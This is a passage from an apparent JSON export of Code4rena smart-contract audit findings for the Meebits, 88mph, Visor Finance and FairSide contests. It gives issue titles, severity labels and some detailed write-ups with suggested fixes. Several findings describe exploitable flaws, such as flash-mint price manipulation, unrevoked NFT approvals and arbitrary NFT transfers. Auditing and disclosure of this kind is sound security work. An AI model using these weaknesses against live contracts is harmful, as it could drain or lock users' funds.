"Explicit initialization with false not required for publicSale"}, {"title": "Explicit initialization with zero not required for numSales", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/27", "labels": ["duplicate"], "target": "2021-04-meebits-findings", "body": "Explicit initialization with zero not required for numSales"}, {"title": "Explicit initialization with zero not required for numTokens", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-meebits-findings", "body": "Explicit initialization with zero not required for numTokens"}, {"title": "Incorrect initialization uses test parameterization for sale limit", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/25", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Incorrect initialization uses test parameterization for sale limit"}, {"title": "Incorrect initialization uses test parameterization for token limit", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/24", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Incorrect initialization uses test parameterization for token limit"}, {"title": "Atypical contract structure affects maintainability and readability", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/23", "labels": ["0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "Atypical contract structure affects maintainability and readability"}, {"title": "Clone-and-own approach used for OZ SafeMath library and other code susceptible to errors and missing upstream bug fixes", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/22", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Clone-and-own approach used for OZ SafeMath library and other code susceptible to errors and missing upstream bug fixes"}, {"title": "Unclear `randomIndex` function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/21", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Unclear `randomIndex` function"}, {"title": "Mint can be front-run", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/20", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Mint can be front-run"}, {"title": "Usage of `address.transfer`", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/19", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Usage of `address.transfer`"}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/18", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Missing parameter validation"}, {"title": "SafeMath library asserts instead of reverts", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/17", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "SafeMath library asserts instead of reverts"}, {"title": "Incorrect Implementation", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/16", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Incorrect Implementation"}, {"title": "Numerous Gas Optimizations", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/15", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-meebits-findings", "body": "Numerous Gas Optimizations"}, {"title": "Legacy Function Usage", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/14", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Legacy Function Usage"}, {"title": "transfer used", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/13", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "transfer used"}, {"title": "transfer of 0 ETH", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/12", "labels": ["invalid", "0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "transfer of 0 ETH"}, {"title": "nonce isn't increased", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/11", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "nonce isn't increased"}, {"title": "Not really random", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/10", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Not really random"}, {"title": "Safemath missing in several places", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/9", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Safemath missing in several places"}, {"title": "Check for marketPaused in sealContract", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "Check for marketPaused in sealContract"}, {"title": "lack of input validation in ownerOf(uint )", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/7", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "lack of input validation in ownerOf(uint )"}, {"title": "No zero address checking in contractor", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/6", "labels": ["invalid", "0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "No zero address checking in contractor"}, {"title": "public function that could be declared external", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/5", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-meebits-findings", "body": "public function that could be declared external"}, {"title": "Arbitrary Transfer of Unowned NFTs", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/4", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "Arbitrary Transfer of Unowned NFTs"}, {"title": "state variables that could be declared constant", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/3", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-meebits-findings", "body": "state variables that could be declared constant"}, {"title": "instead of call() , transfer() is used to withdraw the ether", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/2", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-meebits-findings", "body": "instead of call() , transfer() is used to withdraw the ether"}, {"title": "Unchecking the ownership of `mph` in function `distributeFundingRewards` could cause several critical functions to revert", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/23", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-88mph-findings", "body": "# Handle shw # Vulnerability details ## Impact In contract `MPHMinter`, the function `distributeFundingRewards` does not check whether the contract itself is the owner of `mph`. If the contract is not the owner of `mph`, `mph.ownerMint` could revert, causing functions such as `withdraw`, `rolloverDeposit`, `payInterestToFunders` in the contract `DInterest` to revert as well. ## Proof of Concept Referenced code: [MPHMinter.sol#L121](https://github.com/code-423n4/2021-05-88mph/blob/main/contracts/rewards/MPHMinter.sol#L121) [DInterest.sol#L1253](https://github.com/code-423n4/2021-05-88mph/blob/main/contracts/DInterest.sol#L1253) [DInterest.sol#L1420](https://github.com/code-423n4/2021-05-88mph/blob/main/contracts/DInterest.sol#L1420) ## Tools Used None ## Recommended Mitigation Steps Add a `mph.owner() != address(this)` check as in the other functions (e.g., `mintVested`). "}, {"title": "Use openzeppelin ECDA for erecover", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/20", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-88mph-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact In `Sponsorable.sol` is using erecover directly to verify the signature. Being such a critical piece of the protocol, I would recommend using the ECDSA from openzeppelin as it does more validations when verifying the signature. ``` // Currently address recoveredAddress = ecrecover(digest, sponsorship.v, sponsorship.r, sponsorship.s); require( recoveredAddress != address(0) && recoveredAddress == sponsorship.sender, \"Sponsorable: invalid sig\" ); //ECDSA function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n \u00f7 2 + 1, and for v in (282): v \u2208 {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, \"ECDSA: invalid signature 's' value\"); require(v == 27 || v == 28, \"ECDSA: invalid signature 'v' value\"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), \"ECDSA: invalid signature\"); return signer; } ``` ## Tools Used None "}, {"title": "Gas optimizations - storage over memory", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "resolved"], "target": "2021-05-88mph-findings", "body": "Gas optimizations - storage over memory"}, {"title": "Gas optimizations by using external over public ", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "resolved"], "target": "2021-05-88mph-findings", "body": "Gas optimizations by using external over public "}, {"title": "Incompatability with deflationary / fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/16", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-05-88mph-findings", "body": "Incompatability with deflationary / fee-on-transfer tokens"}, {"title": "Anyone can withdraw vested amount on behalf of someone", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/15", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-05-88mph-findings", "body": "Anyone can withdraw vested amount on behalf of someone"}, {"title": "lack of zero address validation in constructor", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/13", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-05-88mph-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact since the parameter of the constructor are used to initialize the sate variable and these state variable are used throughout the contract error in these parameter can lead to redeployment of the contract ## Proof of Concept constructor of ctokenAggregator.sol, NotionalV1ToNotionalV2.sol, nTokenERC20Proxy.sol, Reservoir.sol, PauseRouter.sol lack zero address validation ## Tools Used manual review ## Recommended Mitigation Steps add address(0) validation in constructor "}, {"title": "zero amount of token value can be entered for creating vest object in vesting.sol", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/12", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-05-88mph-findings", "body": "zero amount of token value can be entered for creating vest object in vesting.sol"}, {"title": "Extra precautions in updateAndQuery", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/10", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-88mph-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function updateAndQuery of EMAOracle.sol subtracts the incomeIndex with the previous incomeIndex. These incomeIndex values are retrieved via the moneyMarket contract from an external contract. If by accident the previous incomeIndex is larger than the current incomeIndex then the subtraction would be negative and the code halts (reverts), without an error message. Also the updateAndQuery function would not be able to execute (until the current incomeIndex is larger than the previous incomeIndex). This situation could occur when an error occurs in one of the current or future money markets. ## Proof of Concept EMAOracle.sol: function updateAndQuery() { ... uint256 _lastIncomeIndex = lastIncomeIndex; ... uint256 newIncomeIndex = moneyMarket.incomeIndex(); uint256 incomingValue = (newIncomeIndex - _lastIncomeIndex).decdiv(_lastIncomeIndex) / timeElapsed; ## Tools Used Editor ## Recommended Mitigation Steps Give an error message when the previous incomeIndex is larger than the current incomeIndex. And/or create a way to recover from this erroneous situation. "}, {"title": "Multiple definitions of PRECISION", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-05-88mph-findings", "body": "Multiple definitions of PRECISION"}, {"title": "Add extra error message in_depositRecordData", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/7", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-05-88mph-findings", "body": "Add extra error message in_depositRecordData"}, {"title": "function payInterestToFunders does not have a re-entrancy modifier", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/6", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-88mph-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact function payInterestToFunders does not have a re-entrancy modifier. I expect to see this modifier because similar functions (including sponsored version) have it. ## Recommended Mitigation Steps Add 'nonReentrant' to function payInterestToFunders. "}, {"title": "Missmatch between the comment and the actual code", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/5", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-05-88mph-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact Here the comment says that it should transfer from msg.sender but it actually transfers from the sender which is not always the msg.sender (e.g. sponsored txs): // Transfer `fundAmount` stablecoins from msg.sender stablecoin.safeTransferFrom(sender, address(this), fundAmount); ## Recommended Mitigation Steps Update the comment to match the code. "}, {"title": "contract AaveMarket function setRewards has a misleading revert message", "html_url": "https://github.com/code-423n4/2021-05-88mph-findings/issues/4", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-05-88mph-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact contract AaveMarket function setRewards has a misleading revert message: require(newValue.isContract(), \"HarvestMarket: not contract\"); ## Recommended Mitigation Steps Should be 'AaveMarket', not 'HarvestMarket'. "}, {"title": "Unbounded loop in `_removeNft` could lead to a griefing/DOS attack", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/80", "labels": ["bug", "3 (High Risk)"], "target": "2021-05-visorfinance-findings", "body": "Unbounded loop in `_removeNft` could lead to a griefing/DOS attack"}, {"title": "Deflationary tokens are not considered in time-locked ERC20 functions", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/78", "labels": ["bug", "1 (Low Risk)"], "target": "2021-05-visorfinance-findings", "body": "Deflationary tokens are not considered in time-locked ERC20 functions"}, {"title": "Unused imported interface `IVisorService`", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/71", "labels": ["bug", "0 (Non-critical)"], "target": "2021-05-visorfinance-findings", "body": "Unused imported interface `IVisorService`"}, {"title": "Events are not indexed", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/70", "labels": ["bug", "0 (Non-critical)"], "target": "2021-05-visorfinance-findings", "body": "Events are not indexed"}, {"title": "The function onERC721Received () allows writing duplicates in the array \"nfts\". Another functions dealing with this array do not expect duplicates met.", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/67", "labels": ["bug", "1 (Low Risk)"], "target": "2021-05-visorfinance-findings", "body": "The function onERC721Received () allows writing duplicates in the array \"nfts\". Another functions dealing with this array do not expect duplicates met."}, {"title": "timelockERC721Keys could exceed the block size limit", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/65", "labels": ["bug", "2 (Med Risk)"], "target": "2021-05-visorfinance-findings", "body": "timelockERC721Keys could exceed the block size limit"}, {"title": "Internal GetBalanceLocked call can exceed block size limit", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Internal GetBalanceLocked call can exceed block size limit"}, {"title": "Locking the same funds twice in lock() on line 269 of Visor.sol", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/61", "labels": ["bug", "1 (Low Risk)"], "target": "2021-05-visorfinance-findings", "body": "Locking the same funds twice in lock() on line 269 of Visor.sol"}, {"title": "Gas optimizations - calculation getBalanceLocked", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Gas optimizations - calculation getBalanceLocked"}, {"title": "Gas optimizations - storage over memory", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/53", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Gas optimizations - storage over memory"}, {"title": "Gas optimization storage NFTs", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Gas optimization storage NFTs"}, {"title": "Gas optimizations by using external over public ", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/51", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Gas optimizations by using external over public "}, {"title": "Approval for NFT transfers is not removed after transfer", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/48", "labels": ["bug", "3 (High Risk)"], "target": "2021-05-visorfinance-findings", "body": "Approval for NFT transfers is not removed after transfer"}, {"title": "Wrong TimeLockERC20 event emitted", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/45", "labels": ["bug", "1 (Low Risk)"], "target": "2021-05-visorfinance-findings", "body": "Wrong TimeLockERC20 event emitted"}, {"title": "Missing events", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/44", "labels": ["bug", "0 (Non-critical)"], "target": "2021-05-visorfinance-findings", "body": "Missing events"}, {"title": "Unhandled return value of transferFrom in timeLockERC20() could lead to fund loss for recipients", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/39", "labels": ["bug", "2 (Med Risk)"], "target": "2021-05-visorfinance-findings", "body": "Unhandled return value of transferFrom in timeLockERC20() could lead to fund loss for recipients"}, {"title": "Timelock keys are never removed after unlocks", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/37", "labels": ["bug", "1 (Low Risk)"], "target": "2021-05-visorfinance-findings", "body": "Timelock keys are never removed after unlocks"}, {"title": "A previously timelocked NFT token becomes permanently stuck in vault if it\u2019s ever moved back into the vault", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/35", "labels": ["bug", "3 (High Risk)"], "target": "2021-05-visorfinance-findings", "body": "A previously timelocked NFT token becomes permanently stuck in vault if it\u2019s ever moved back into the vault"}, {"title": "NFT transfer approvals are not removed and cannot be revoked thus leading to loss of NFT tokens", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/34", "labels": ["bug", "3 (High Risk)"], "target": "2021-05-visorfinance-findings", "body": "NFT transfer approvals are not removed and cannot be revoked thus leading to loss of NFT tokens"}, {"title": "Breaking out of loop can save gas", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Breaking out of loop can save gas"}, {"title": "Use a temporary variable to cache repetitive storage reads", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Use a temporary variable to cache repetitive storage reads"}, {"title": "Use a temporary variable to cache repetitive complex calculation", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Use a temporary variable to cache repetitive complex calculation"}, {"title": "Unused state variable and associated setter function", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Unused state variable and associated setter function"}, {"title": "Change function visibility from public to external", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/27", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-visorfinance-findings", "body": "Change function visibility from public to external"}, {"title": "missing condition in addTemplate(bytes32 name, address template), visorFactory.sol", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/24", "labels": ["bug", "1 (Low Risk)"], "target": "2021-05-visorfinance-findings", "body": "missing condition in addTemplate(bytes32 name, address template), visorFactory.sol"}, {"title": "delegatedTransferERC20 can revert when called by owner", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/21", "labels": ["bug", "1 (Low Risk)"], "target": "2021-05-visorfinance-findings", "body": "delegatedTransferERC20 can revert when called by owner"}, {"title": "transferERC721 doesn't clean timelockERC721s", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/19", "labels": ["bug", "2 (Med Risk)"], "target": "2021-05-visorfinance-findings", "body": "transferERC721 doesn't clean timelockERC721s"}, {"title": "introduce a max lock time limit", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/14", "labels": ["bug", "0 (Non-critical)"], "target": "2021-05-visorfinance-findings", "body": "introduce a max lock time limit"}, {"title": "sandwich approveTransferERC20", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/10", "labels": ["bug", "1 (Low Risk)"], "target": "2021-05-visorfinance-findings", "body": "sandwich approveTransferERC20"}, {"title": "getNftById is querying against the index not id", "html_url": "https://github.com/code-423n4/2021-05-visorfinance-findings/issues/8", "labels": ["bug", "0 (Non-critical)"], "target": "2021-05-visorfinance-findings", "body": "getNftById is querying against the index not id"}, {"title": "Incorrect type conversion in the contract `ABC` makes users unable to burn FSD tokens", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/77", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle shw # Vulnerability details ## Impact The function `_calculateDeltaOfFSD` of contract `ABC` incorrectly converts an `int256` type parameter, `_reserveDelta`, to `uint256` by explicit conversion, which in general results in an extremely large number when the provided parameter is negative. The extremely large number could cause a SafeMath operation `sub` at line 43 to revert, and thus the FSD tokens cannot be burned. (`_reserveDelta` is negative when burning FSD tokens) ## Proof of Concept Simply calling `fsd.burn` after a successful `fsd.mint` will trigger this bug. Referenced code: [ABC.sol#L43](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/token/ABC.sol#L43) [ABC.sol#L49](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/token/ABC.sol#L49) [ABC.sol#L54](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/token/ABC.sol#L54) ## Recommended Mitigation Steps Use the solidity function `abs` to get the `_reserveDelta` absolute value. "}, {"title": "Flash minting and burning can reduce the paid fees when purchasing a membership or opening a cost share request", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/76", "labels": ["bug", "question", "2 (Med Risk)", "disagree with severity"], "target": "2021-05-fairside-findings", "body": "Flash minting and burning can reduce the paid fees when purchasing a membership or opening a cost share request"}, {"title": "The variable `fShareRatio` is vulnerable to manipulation by flash minting and burning", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/75", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle shw # Vulnerability details ## Impact The variable `fShareRatio` in the function `purchaseMembership` of contract `FSDNetwork` is vulnerable to manipulation by flash minting and burning, which could affect several critical logics, such as the check of enough capital in the pool (line 139-142) and the staking rewards (line 179-182). ## Proof of Concept The `fShareRatio` is calculated (line 136) by: ```solidity (fsd.getReserveBalance() - totalOpenRequests).mul(1 ether) / fShare; ``` where `fsd.getReserveBalance()` can be significantly increased by a user minting a large amount of FSD tokens with flash loans. In that case, the increased `fShareRatio` could affect the function `purchaseMembership` results. For example, the user could purchase the membership even if the `fShareRatio` is < 100% previously, or the user could earn more staking rewards than before to reduce the membership fees. Although performing flash minting and burning might not be profitable overall since a 3.5% tribute fee is required when burning FSD tokens, it is still important to be aware of the possible manipulation of `fShareRatio`. Referenced code: [FSDNetwork.sol#L134-L142](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/network/FSDNetwork.sol#L134-L142) [FSDNetwork.sol#L178-L182](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/network/FSDNetwork.sol#L178-L182) ## Recommended Mitigation Steps Force users to wait for (at least) a block to prevent flash minting and burning. "}, {"title": "Incorrect implementation of arctan in the contract `FairSideFormula`", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/73", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle shw # Vulnerability details ## Impact The current implementation of the arctan formula in the contract `FairSideFormula` is inconsistent with the referenced paper and could cause incorrect results when the input parameter is negative. The erroneous formula affects the function `calculateDeltaOfFSD` and the number of FSD tokens minted or burned. ## Proof of Concept The function `_arctan` misses two `abs` on the variable `a`. The correct implementation should be: ```solidity function _arctan(bytes16 a) private pure returns (bytes16) { return a.mul(PI_4).sub( a.mul(a.abs().sub(ONE)).mul(APPROX_A.add(APPROX_B.mul(a.abs()))) ); } ``` Notice that `_arctan` is called by `arctan`, and `arctan` is called by `arcs` with `ONE.sub(arcInner)` provided as the input parameter. Since `arcInner = MULTIPLIER_INNER_ARCTAN.mul(x).div(fS3_4)` can be a large number (recall that `x` is the capital pool), it is possible that the parameter `a` is negative. Referenced code: [FairSideFormula.sol#L45-L61](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/dependencies/FairSideFormula.sol#L45-L61) [FairSideFormula.sol#L77-L85](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/dependencies/FairSideFormula.sol#L77-L85) [FairSideFormula.sol#L127](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/dependencies/FairSideFormula.sol#L127) [ABC.sol#L38](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/token/ABC.sol#L38) ## Recommended Mitigation Steps Modify the `_arctan` function as above. "}, {"title": "`pendingWithdrawals` not decreased after a `withdraw`", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/72", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle shw # Vulnerability details ## Impact The variable `pendingWithdrawals` in the contract `Withdrawable` is not decreased after the function `withdraw` is called, which causes the return value of function `getReserveBalance` less than it should be. This bug could cause incorrect results in several critical functions related to FSD token pricing, including `getFSDPrice`, `purchaseMembership`, `getMaximumBenefitPerUser`, `mint`, and `burn` in the `FSDNetwork` and `FSD` contracts. ## Proof of Concept Referenced code: [Withdrawable.sol#L14-L19](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/dependencies/Withdrawable.sol#L14-L19) [Withdrawable.sol#L26-L28](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/dependencies/Withdrawable.sol#L26-L28) Affected functions: [FSD.sol#L85](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/token/FSD.sol#L85) [FSD.sol#L100](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/token/FSD.sol#L100) [FSDNetwork.sol#L136](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/network/FSDNetwork.sol#L136) [FSDNetwork.sol#L361](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/network/FSDNetwork.sol#L361) [FSDNetwork.sol#L369](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/network/FSDNetwork.sol#L369) ## Recommended Mitigation Steps Add `pendingWithdrawals = pendingWithdrawals.sub(reserveAmount);` after line 17 in the contract `Withdrawable`. "}, {"title": "Gas optimization for the `rootPows` function in `FairSideFormula`", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/71", "labels": ["bug", "question", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle shw # Vulnerability details ## Impact Gas optimization is possible for the current `rootPows` implementation. ## Proof of Concept The original implementation of `rootPows` requires 4 `mul` and 2 `sqrt`: ```solidity function rootPows(bytes16 x) private pure returns (bytes16, bytes16) { // fourth root x = x.sqrt().sqrt(); // to the power of 3 x = _pow3(x); // we offset the root on the second arg return (x, x.mul(x)); } ``` However, the calculation process can be simplified to be more gas-efficient than the original with only 1 `mul` and 2 `sqrt` requried: ```solidity function rootPows(bytes16 x) private pure returns (bytes16, bytes16) { bytes16 x1_2 = x.sqrt(); bytes16 x3_2 = x.mul(x1_2); bytes16 x3_4 = x3_2.sqrt(); return (x3_4, x3_2); } ``` Referenced code: [FairSideFormula.sol#L67-L75](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/dependencies/FairSideFormula.sol#L67-L75) ## Recommended Mitigation Steps To save gas, change the implementation of `rootPows` as mentioned above. "}, {"title": "Should check return data from Chainlink aggregators", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/70", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle shw # Vulnerability details ## Impact The `getEtherPrice` function in the contract `FSDNetwork` fetches the ETH price from a Chainlink aggregator using the `latestRoundData` function. However, there are no checks on `roundID` nor `timeStamp`, resulting in stale prices. ## Proof of Concept Referenced code: [FSDNetwork.sol#L376-L381](https://github.com/code-423n4/2021-05-fairside/blob/main/contracts/network/FSDNetwork.sol#L376-L381) ## Recommended Mitigation Steps Add checks on the return data with proper revert messages if the price is stale or the round is uncomplete, for example: ```solidity (uint80 roundID, int256 price, , uint256 timeStamp, uint80 answeredInRound) = ETH_CHAINLINK.latestRoundData(); require(answeredInRound >= roundID, \"...\"); require(timeStamp != 0, \"...\"); ``` "}, {"title": "Events in `FairSideDAO` are not indexed", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/69", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-05-fairside-findings", "body": "Events in `FairSideDAO` are not indexed"}, {"title": "Solidity keyword `transfer` is used in the contract `Withdrawable`", "html_url": "https://github.com/code-423n4/2021-05-fairside-findings/issues/67", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-05-fairside-findings", "body": "# Handle shw # 